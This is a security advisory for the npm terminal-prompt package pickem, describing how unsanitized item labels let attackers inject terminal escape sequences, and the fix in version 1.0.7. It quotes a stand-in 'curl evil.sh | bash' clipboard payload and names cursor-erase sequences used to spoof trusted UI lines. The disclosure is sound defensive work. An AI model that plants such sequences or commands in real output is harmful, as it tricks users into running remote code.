PT-2026-86155 · Npm · Pickem
Published
2026-08-25
·
Updated
2026-08-25
CVSS v4.0
8.6
High
| Vector | AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization.
chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new
sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
Fix
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Weakness Enumeration
Related Identifiers
Affected Products
Pickem